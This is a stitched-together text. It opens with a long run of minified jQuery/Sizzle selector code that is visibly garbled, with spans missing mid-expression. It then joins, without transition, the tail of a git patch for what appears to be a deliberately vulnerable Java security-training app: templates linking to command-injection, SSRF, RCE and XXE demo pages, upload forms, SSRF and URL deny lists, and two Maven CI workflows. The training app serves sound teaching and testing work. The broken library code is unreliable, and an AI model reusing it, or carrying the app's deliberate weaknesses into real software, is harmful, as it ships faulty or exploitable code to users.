r!=r||n?t:r<0?String.fromCharCode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)},re=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ie=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},oe=function(){T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(t=O.call(m.childNodes),m.childNodes),t[m.childNodes.length].nodeType}catch(e){H={apply:t.length?function(e,t){L.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function se(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n||[],"string"!=typeof t||!t||1!==p&&9!==p&&11!==p)return n;if(!r&&((e?e.ownerDocument||e:m)!==C&&T(e),e=e||C,E)){if(11!==p&&(u=Z.exec(t)))if(i=u[1]){if(9===p){if(!(a=e.getElementById(i)))return n;if(a.id===i)return n.push(a),n}else if(f&&(a=f.getElementById(i))&&y(e,a)&&a.id===i)return n.push(a),n}else{if(u[2])return H.apply(n,e.getElementsByTagName(t)),n;if((i=u[3])&&d.getElementsByClassName&&e.getElementsByClassName)return H.apply(n,e.getElementsByClassName(i)),n}if(d.qsa&&!A[t+" "]&&(!v||!v.test(t))&&(1!==p||"object"!==e.nodeName.toLowerCase())){if(c=t,f=e,1===p&&U.test(t)){(s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=k),o=(l=h(t)).length;while(o--)l[o]="#"+s+" "+xe(l[o]);c=l.join(","),f=ee.test(t)&&ye(e.parentNode)||e}try{return H.apply(n,f.querySelectorAll(c)),n}catch(e){A(t,!0)}finally{s===k&&e.removeAttribute("id")}}}return g(t.replace(B,"$1"),e,n,r)}function ue(){var r=[];return function e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[k]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function fe(e,t){var n=e.split("|"),r=n.length;while(r--)b.attrHandle[n[r]]=t}function pe(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function de(t){return function(e){return"input"===e.nodeName.toLowerCase()&&e.type===t}}function he(n){return function(e){var t=e.nodeName.toLowerCase();return("input"===t||"button"===t)&&e.type===n}}function ge(t){return function(e){return"form"in e?e.parentNode&&!1===e.disabled?"label"in e?"label"in e.parentNode?e.parentNode.disabled===t:e.disabled===t:e.isDisabled===t||e.isDisabled!==!t&&ae(e)===t:e.disabled===t:"label"in e&&e.disabled===t}}function ve(a){return le(function(o){return o=+o,le(function(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e.namespaceURI,n=(e.ownerDocument||e).documentElement;return!Y.test(t||n&&n.nodeName||"HTML")},T=se.setDocument=function(e){var t,n,r=e?e.ownerDocument||e:m;return r!==C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),m!==C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",oe,!1):n.attachEvent&&n.attachEvent("onunload",oe)),d.attributes=ce(function(e){return e.className="i",!e.getAttribute("className")}),d.getElementsByTagName=ce(function(e){return e.appendChild(C.createComment("")),!e.getElementsByTagName("*").length}),d.getElementsByClassName=K.test(C.getElementsByClassName),d.getById=ce(function(e){return a.appendChild(e).id=k,!C.getElementsByName||!C.getElementsByName(k).length}),d.getById?(b.filter.ID=function(e){var t=e.replace(te,ne);return function(e){return e.getAttribute("id")===t}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n=t.getElementById(e);return n?[n]:[]}}):(b.filter.ID=function(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},b.find.CLASS=d.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&E)return t.getElementsByClassName(e)},s=[],v=[],(d.qsa=K.test(C.querySelectorAll))&&(ce(function(e){a.appendChild(e).innerHTML="",e.querySelectorAll("[msallowcapture^='']").length&&v.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||v.push("\\["+M+"*(?:value|"+R+")"),e.querySelectorAll("[id~="+k+"-]").length||v.push("~="),e.querySelectorAll(":checked").length||v.push(":checked"),e.querySelectorAll("a#"+k+"+*").length||v.push(".#.+[+~]")}),ce(function(e){e.innerHTML="";var t=C.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&v.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&v.push(":enabled",":disabled"),a.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&v.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),v.push(",.*:")})),(d.matchesSelector=K.test(c=a.matches||a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.msMatchesSelector))&&ce(function(e){d.disconnectedMatch=c.call(e,"*"),c.call(e,"[s!='']:x"),s.push("!=",$)}),v=v.length&&new RegExp(v.join("|")),s=s.length&&new RegExp(s.join("|")),t=K.test(a.compareDocumentPosition),y=t||K.test(a.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},D=t?function(e,t){if(e===t)return l=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n||(1&(n=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!d.sortDetached&&t.compareDocumentPosition(e)===n?e===C||e.ownerDocument===m&&y(m,e)?-1:t===C||t.ownerDocument===m&&y(m,t)?1:u?P(u,e)-P(u,t):0:4&n?-1:1)}:function(e,t){if(e===t)return l=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e===C?-1:t===C?1:i?-1:o?1:u?P(u,e)-P(u,t):0;if(i===o)return pe(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?pe(a[r],s[r]):a[r]===m?-1:s[r]===m?1:0}),C},se.matches=function(e,t){return se(e,null,null,t)},se.matchesSelector=function(e,t){if((e.ownerDocument||e)!==C&&T(e),d.matchesSelector&&E&&!A[t+" "]&&(!s||!s.test(t))&&(!v||!v.test(t)))try{var n=c.call(e,t);if(n||d.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(e){A(t,!0)}return 0":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(te,ne),e[3]=(e[3]||e[4]||e[5]||"").replace(te,ne),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||se.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&se.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return G.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=h(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(te,ne).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=p[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&p(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(n,r,i){return function(e){var t=se.attr(e,n);return null==t?"!="===r:!r||(t+="","="===r?t===i:"!="===r?t!==i:"^="===r?i&&0===t.indexOf(i):"*="===r?i&&-1:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,n,r){return m(n)?k.grep(e,function(e,t){return!!n.call(e,t,e)!==r}):n.nodeType?k.grep(e,function(e){return e===n!==r}):"string"!=typeof n?k.grep(e,function(e){return-1)[^>]*|#([\w-]+))$/;(k.fn.init=function(e,t,n){var r,i;if(!e)return this;if(n=n||q,"string"==typeof e){if(!(r="<"===e[0]&&">"===e[e.length-1]&&3<=e.length?[null,e,null]:L.exec(e))||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof k?t[0]:t,k.merge(this,k.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:E,!0)),D.test(r[1])&&k.isPlainObject(t))for(r in t)m(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return(i=E.getElementById(r[2]))&&(this[0]=i,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):m(e)?void 0!==n.ready?n.ready(e):e(k):k.makeArray(e,this)}).prototype=k.fn,q=k(E);var H=/^(?:parents|prev(?:Until|All))/,O={children:!0,contents:!0,next:!0,prev:!0};function P(e,t){while((e=e[t])&&1!==e.nodeType);return e}k.fn.extend({has:function(e){var t=k(e,this),n=t.length;return this.filter(function(){for(var e=0;e\x20\t\r\n\f]*)/i,he=/^$|^module$|\/(?:java|ecma)script/i,ge={option:[1,""],thead:[1,"","
"],col:[2,"","
"],tr:[2,"","
"],td:[3,"","
"],_default:[0,"",""]};function ve(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&A(e,t)?k.merge([e],n):n}function ye(e,t){for(var n=0,r=e.length;nx",y.noCloneChecked=!!me.cloneNode(!0).lastChild.defaultValue;var Te=/^key/,Ce=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,Ee=/^([^.]*)(?:\.(.+)|)/;function ke(){return!0}function Se(){return!1}function Ne(e,t){return e===function(){try{return E.activeElement}catch(e){}}()==("focus"===t)}function Ae(e,t,n,r,i,o){var a,s;if("object"==typeof t){for(s in"string"!=typeof n&&(r=r||n,n=void 0),t)Ae(e,s,n,r,t[s],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=Se;else if(!i)return e;return 1===o&&(a=i,(i=function(e){return k().off(e),a.apply(this,arguments)}).guid=a.guid||(a.guid=k.guid++)),e.each(function(){k.event.add(this,t,i,r,n)})}function De(e,i,o){o?(Q.set(e,i,!1),k.event.add(e,i,{namespace:!1,handler:function(e){var t,n,r=Q.get(this,i);if(1&e.isTrigger&&this[i]){if(r.length)(k.event.special[i]||{}).delegateType&&e.stopPropagation();else if(r=s.call(arguments),Q.set(this,i,r),t=o(this,i),this[i](),r!==(n=Q.get(this,i))||t?Q.set(this,i,!1):n={},r!==n)return e.stopImmediatePropagation(),e.preventDefault(),n.value}else r.length&&(Q.set(this,i,{value:k.event.trigger(k.extend(r[0],k.Event.prototype),r.slice(1),this)}),e.stopImmediatePropagation())}})):void 0===Q.get(e,i)&&k.event.add(e,i,ke)}k.event={global:{},add:function(t,e,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,v=Q.get(t);if(v){n.handler&&(n=(o=n).handler,i=o.selector),i&&k.find.matchesSelector(ie,i),n.guid||(n.guid=k.guid++),(u=v.events)||(u=v.events={}),(a=v.handle)||(a=v.handle=function(e){return"undefined"!=typeof k&&k.event.triggered!==e.type?k.event.dispatch.apply(t,arguments):void 0}),l=(e=(e||"").match(R)||[""]).length;while(l--)d=g=(s=Ee.exec(e[l])||[])[1],h=(s[2]||"").split(".").sort(),d&&(f=k.event.special[d]||{},d=(i?f.delegateType:f.bindType)||d,f=k.event.special[d]||{},c=k.extend({type:d,origType:g,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&k.expr.match.needsContext.test(i),namespace:h.join(".")},o),(p=u[d])||((p=u[d]=[]).delegateCount=0,f.setup&&!1!==f.setup.call(t,r,h,a)||t.addEventListener&&t.addEventListener(d,a)),f.add&&(f.add.call(t,c),c.handler.guid||(c.handler.guid=n.guid)),i?p.splice(p.delegateCount++,0,c):p.push(c),k.event.global[d]=!0)}},remove:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,v=Q.hasData(e)&&Q.get(e);if(v&&(u=v.events)){l=(t=(t||"").match(R)||[""]).length;while(l--)if(d=g=(s=Ee.exec(t[l])||[])[1],h=(s[2]||"").split(".").sort(),d){f=k.event.special[d]||{},p=u[d=(r?f.delegateType:f.bindType)||d]||[],s=s[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),a=o=p.length;while(o--)c=p[o],!i&&g!==c.origType||n&&n.guid!==c.guid||s&&!s.test(c.namespace)||r&&r!==c.selector&&("**"!==r||!c.selector)||(p.splice(o,1),c.selector&&p.delegateCount--,f.remove&&f.remove.call(e,c));a&&!p.length&&(f.teardown&&!1!==f.teardown.call(e,h,v.handle)||k.removeEvent(e,d,v.handle),delete u[d])}else for(d in u)k.event.remove(e,d+t[l],n,r,!0);k.isEmptyObject(u)&&Q.remove(e,"handle events")}},dispatch:function(e){var t,n,r,i,o,a,s=k.event.fix(e),u=new Array(arguments.length),l=(Q.get(this,"events")||{})[s.type]||[],c=k.event.special[s.type]||{};for(u[0]=s,t=1;t\x20\t\r\n\f]*)[^>]*)\/>/gi,qe=/\s*$/g;function Oe(e,t){return A(e,"table")&&A(11!==t.nodeType?t:t.firstChild,"tr")&&k(e).children("tbody")[0]||e}function Pe(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function Re(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Me(e,t){var n,r,i,o,a,s,u,l;if(1===t.nodeType){if(Q.hasData(e)&&(o=Q.access(e),a=Q.set(t,o),l=o.events))for(i in delete a.handle,a.events={},l)for(n=0,r=l[i].length;n")},clone:function(e,t,n){var r,i,o,a,s,u,l,c=e.cloneNode(!0),f=oe(e);if(!(y.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||k.isXMLDoc(e)))for(a=ve(c),r=0,i=(o=ve(e)).length;r").attr(n.scriptAttrs||{}).prop({charset:n.scriptCharset,src:n.url}).on("load error",i=function(e){r.remove(),i=null,e&&t("error"===e.type?404:200,e.type)}),E.head.appendChild(r[0])},abort:function(){i&&i()}}});var Vt,Gt=[],Yt=/(=)\?(?=&|$)|\?\?/;k.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Gt.pop()||k.expando+"_"+kt++;return this[e]=!0,e}}),k.ajaxPrefilter("json jsonp",function(e,t,n){var r,i,o,a=!1!==e.jsonp&&(Yt.test(e.url)?"url":"string"==typeof e.data&&0===(e.contentType||"").indexOf("application/x-www-form-urlencoded")&&Yt.test(e.data)&&"data");if(a||"jsonp"===e.dataTypes[0])return r=e.jsonpCallback=m(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,a?e[a]=e[a].replace(Yt,"$1"+r):!1!==e.jsonp&&(e.url+=(St.test(e.url)?"&":"?")+e.jsonp+"="+r),e.converters["script json"]=function(){return o||k.error(r+" was not called"),o[0]},e.dataTypes[0]="json",i=C[r],C[r]=function(){o=arguments},n.always(function(){void 0===i?k(C).removeProp(r):C[r]=i,e[r]&&(e.jsonpCallback=t.jsonpCallback,Gt.push(r)),o&&m(i)&&i(o[0]),o=i=void 0}),"script"}),y.createHTMLDocument=((Vt=E.implementation.createHTMLDocument("").body).innerHTML="

",2===Vt.childNodes.length),k.parseHTML=function(e,t,n){return"string"!=typeof e?[]:("boolean"==typeof t&&(n=t,t=!1),t||(y.createHTMLDocument?((r=(t=E.implementation.createHTMLDocument("")).createElement("base")).href=E.location.href,t.head.appendChild(r)):t=E),o=!n&&[],(i=D.exec(e))?[t.createElement(i[1])]:(i=we([e],t,o),o&&o.length&&k(o).remove(),k.merge([],i.childNodes)));var r,i,o},k.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return-1").append(k.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},k.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){k.fn[t]=function(e){return this.on(t,e)}}),k.expr.pseudos.animated=function(t){return k.grep(k.timers,function(e){return t===e.elem}).length},k.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l=k.css(e,"position"),c=k(e),f={};"static"===l&&(e.style.position="relative"),s=c.offset(),o=k.css(e,"top"),u=k.css(e,"left"),("absolute"===l||"fixed"===l)&&-1<(o+u).indexOf("auto")?(a=(r=c.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),m(t)&&(t=t.call(e,n,k.extend({},s))),null!=t.top&&(f.top=t.top-s.top+a),null!=t.left&&(f.left=t.left-s.left+i),"using"in t?t.using.call(e,f):c.css(f)}},k.fn.extend({offset:function(t){if(arguments.length)return void 0===t?this:this.each(function(e){k.offset.setOffset(this,t,e)});var e,n,r=this[0];return r?r.getClientRects().length?(e=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:e.top+n.pageYOffset,left:e.left+n.pageXOffset}):{top:0,left:0}:void 0},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===k.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===k.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=k(e).offset()).top+=k.css(e,"borderTopWidth",!0),i.left+=k.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-k.css(r,"marginTop",!0),left:t.left-i.left-k.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===k.css(e,"position"))e=e.offsetParent;return e||ie})}}),k.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(t,i){var o="pageYOffset"===i;k.fn[t]=function(e){return _(this,function(e,t,n){var r;if(x(e)?r=e:9===e.nodeType&&(r=e.defaultView),void 0===n)return r?r[i]:e[t];r?r.scrollTo(o?r.pageXOffset:n,o?n:r.pageYOffset):e[t]=n},t,e,arguments.length)}}),k.each(["top","left"],function(e,n){k.cssHooks[n]=ze(y.pixelPosition,function(e,t){if(t)return t=_e(e,n),$e.test(t)?k(e).position()[n]+"px":t})}),k.each({Height:"height",Width:"width"},function(a,s){k.each({padding:"inner"+a,content:s,"":"outer"+a},function(r,o){k.fn[o]=function(e,t){var n=arguments.length&&(r||"boolean"!=typeof e),i=r||(!0===e||!0===t?"margin":"border");return _(this,function(e,t,n){var r;return x(e)?0===o.indexOf("outer")?e["inner"+a]:e.document.documentElement["client"+a]:9===e.nodeType?(r=e.documentElement,Math.max(e.body["scroll"+a],r["scroll"+a],e.body["offset"+a],r["offset"+a],r["client"+a])):void 0===n?k.css(e,t,i):k.style(e,t,n,i)},s,n?e:void 0,n)}})}),k.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,n){k.fn[n]=function(e,t){return 0 + + + + + + + + + +
+ + +
+ + + +
+
+ + + + + + + + \ No newline at end of file diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html new file mode 100644 index 00000000..9d27f958 --- /dev/null +++ b/src/main/resources/templates/index.html @@ -0,0 +1,28 @@ + + + + + Home Page + + +

Hello .

+

Welcome to login java-sec-code application. Application Infomation

+

+ Swagger   + CmdInject   + JSONP   + Picture Upload   + File Upload   + Cors   + PathTraversal   + SqlInject   + SSRF   + RCE   + ooxml XXE   + xlsx-streamer XXE +

+

...

+ logout + + + \ No newline at end of file diff --git a/src/main/resources/templates/login.html b/src/main/resources/templates/login.html new file mode 100644 index 00000000..8d2cdedf --- /dev/null +++ b/src/main/resources/templates/login.html @@ -0,0 +1,68 @@ + + + + + Login + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/src/main/resources/templates/upload.html b/src/main/resources/templates/upload.html new file mode 100644 index 00000000..03ecf15f --- /dev/null +++ b/src/main/resources/templates/upload.html @@ -0,0 +1,13 @@ + + + + +

file upload

+ +
+

+ +
+ + + diff --git a/src/main/resources/templates/uploadPic.html b/src/main/resources/templates/uploadPic.html new file mode 100644 index 00000000..66a6f64d --- /dev/null +++ b/src/main/resources/templates/uploadPic.html @@ -0,0 +1,13 @@ + + + + +

file upload only picture

+ +
+

+ +
+ + + diff --git a/src/main/resources/templates/uploadStatus.html b/src/main/resources/templates/uploadStatus.html new file mode 100644 index 00000000..f39fa45c --- /dev/null +++ b/src/main/resources/templates/uploadStatus.html @@ -0,0 +1,10 @@ + + + + +
+

+

+ + + \ No newline at end of file diff --git a/src/main/resources/templates/xxe_upload.html b/src/main/resources/templates/xxe_upload.html new file mode 100644 index 00000000..d58426f0 --- /dev/null +++ b/src/main/resources/templates/xxe_upload.html @@ -0,0 +1,14 @@ + + + + +

xlsx xxe test page

+ +
+

+ + +
+ + + diff --git a/src/main/resources/url/ssrf_safe_domain.xml b/src/main/resources/url/ssrf_safe_domain.xml new file mode 100644 index 00000000..eb5e4c44 --- /dev/null +++ b/src/main/resources/url/ssrf_safe_domain.xml @@ -0,0 +1,22 @@ + + + + + + + img.alicdn.com + + + + 10.0.0.0/8 + 172.16.0.0/12 + 192.168.0.0/16 + 127.0.0.0/8 + 0.0.0.0/32 + + + + joychou-inc.com + + + diff --git a/src/main/resources/url/url_safe_domain.xml b/src/main/resources/url/url_safe_domain.xml new file mode 100644 index 00000000..ee81efcf --- /dev/null +++ b/src/main/resources/url/url_safe_domain.xml @@ -0,0 +1,18 @@ + + + + + + joychou.com + joychou.org + test.joychou.org + localhost + + + + + baidu.com + evil.joychou.org + + + From 5f573361e146db28b763db80b290c6cd41187c05 Mon Sep 17 00:00:00 2001 From: shadowsock5 <30398606+shadowsock5@users.noreply.github.com> Date: Wed, 27 Sep 2023 13:55:55 +0800 Subject: [PATCH 2/3] Create maven-publish.yml --- .github/workflows/maven-publish.yml | 34 +++++++++++++++++++++++++++++ 1 file changed, 34 insertions(+) create mode 100644 .github/workflows/maven-publish.yml diff --git a/.github/workflows/maven-publish.yml b/.github/workflows/maven-publish.yml new file mode 100644 index 00000000..f3bdb0cb --- /dev/null +++ b/.github/workflows/maven-publish.yml @@ -0,0 +1,34 @@ +# This workflow will build a package using Maven and then publish it to GitHub packages when a release is created +# For more information see: https://github.com/actions/setup-java/blob/main/docs/advanced-usage.md#apache-maven-with-a-settings-path + +name: Maven Package + +on: + release: + types: [created] + +jobs: + build: + + runs-on: ubuntu-latest + permissions: + contents: read + packages: write + + steps: + - uses: actions/checkout@v3 + - name: Set up JDK 11 + uses: actions/setup-java@v3 + with: + java-version: '11' + distribution: 'temurin' + server-id: github # Value of the distributionManagement/repository/id field of the pom.xml + settings-path: ${{ github.workspace }} # location for the settings.xml file + + - name: Build with Maven + run: mvn -B clean package -DskipTests --file pom.xml + + - name: Publish to GitHub Packages Apache Maven + run: mvn deploy -s $GITHUB_WORKSPACE/settings.xml + env: + GITHUB_TOKEN: ${{ github.token }} From ed60352cf2a52334e7c23bbbfa5cc3e2a330f62e Mon Sep 17 00:00:00 2001 From: shadowsock5 <30398606+shadowsock5@users.noreply.github.com> Date: Wed, 27 Sep 2023 13:57:11 +0800 Subject: [PATCH 3/3] Create maven.yml --- .github/workflows/maven.yml | 35 +++++++++++++++++++++++++++++++++++ 1 file changed, 35 insertions(+) create mode 100644 .github/workflows/maven.yml diff --git a/.github/workflows/maven.yml b/.github/workflows/maven.yml new file mode 100644 index 00000000..d87bf133 --- /dev/null +++ b/.github/workflows/maven.yml @@ -0,0 +1,35 @@ +# This workflow will build a Java project with Maven, and cache/restore any dependencies to improve the workflow execution time +# For more information see: https://docs.github.com/en/actions/automating-builds-and-tests/building-and-testing-java-with-maven + +# This workflow uses actions that are not certified by GitHub. +# They are provided by a third-party and are governed by +# separate terms of service, privacy policy, and support +# documentation. + +name: Java CI with Maven + +on: + push: + branches: [ "master" ] + pull_request: + branches: [ "master" ] + +jobs: + build: + + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@v3 + - name: Set up JDK 17 + uses: actions/setup-java@v3 + with: + java-version: '17' + distribution: 'temurin' + cache: maven + - name: Build with Maven + run: mvn -B clean package -DskipTests --file pom.xml + + # Optional: Uploads the full dependency graph to GitHub to improve the quality of Dependabot alerts this repository can receive + - name: Update dependency graph + uses: advanced-security/maven-dependency-submission-action@571e99aab1055c2e71a1e2309b9691de18d6b7d6